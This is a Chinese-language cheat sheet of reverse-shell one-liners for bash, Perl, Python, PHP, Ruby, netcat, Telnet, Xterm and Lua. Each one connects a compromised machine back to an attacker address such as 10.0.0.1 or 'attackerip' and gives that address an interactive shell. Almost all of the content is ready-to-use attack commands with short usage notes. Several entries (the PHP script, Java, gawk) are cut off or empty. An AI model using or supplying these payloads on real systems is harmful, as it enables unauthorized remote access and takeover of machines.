0x01 Bash
这里shell由bash解析,有时候是由sh解析,/dev/[tcp|upd]/host/port
是Linux设备里面比较特殊的文件,读取或写入相当于建立socket
调用,命令执行后依然无法找到此目录和文件。
1 | bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 |
0x02 Perl
1 | perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' |
1) 不依赖于/bin/sh
的shell:
1 | perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' |
2) Windwos 系统:
1 | perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' |
0x03 Python(v2.7)
1 | python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' |
1) 其它形式
1 | python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('127.0.0.1',9000))\nwhile 1: proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")" |
0x04 PHP
1 | php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");' |
1) php脚本:
1 |
|
0x05 Ruby
1 | ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' |
1) 不依赖于/bin/sh
的shell:
1 | ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' |
2) Windwos 系统:
1 | ruby -rsocket -e 'c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' |
0x06 NetCat
1 | nc -e /bin/sh 10.0.0.1 1234 #不同版本的nc不一定支持-e选项 |
1) 不能使用-e选项时:
1 | mknod backpipe p && nc attackerip 8080 0<backpipe | /bin/bash 1>backpipe |
2) 安装的NC版本有问题时:
1 | rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f |
0x07 Java
1 | r = Runtime.getRuntime() |
0x08 Telnet
1 | mknod backpipe p && telnet attackerip 8080 0<backpipe | /bin/bash 1>backpipe #nc不可用或/dev/tcp不可用时 |
mknod是创建特殊文件-设备文件
0x09 Xterm
1) 开启Xserver: # TCP 6001
1 | Xnest :1 # Note: The command starts with uppercase X |
2) 授予目标机连回来的权限:
1 | xterm -display 127.0.0.1:1 # Run this OUTSIDE the Xnest, another tab |
3) 如果想让任何人都连上:
1 | xhost + # Run this INSIDE the spawned xterm on the open X Server |
4) 假设xterm已安装,连回你的Xserver:
1 | xterm -display attackerip:1 |
或者:
1 | $ DISPLAY=attackerip:0 xterm |
0x10 gawk
1 | #!/usr/bin/gawk -f |
0x11 lua
1 | lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');" |
参考: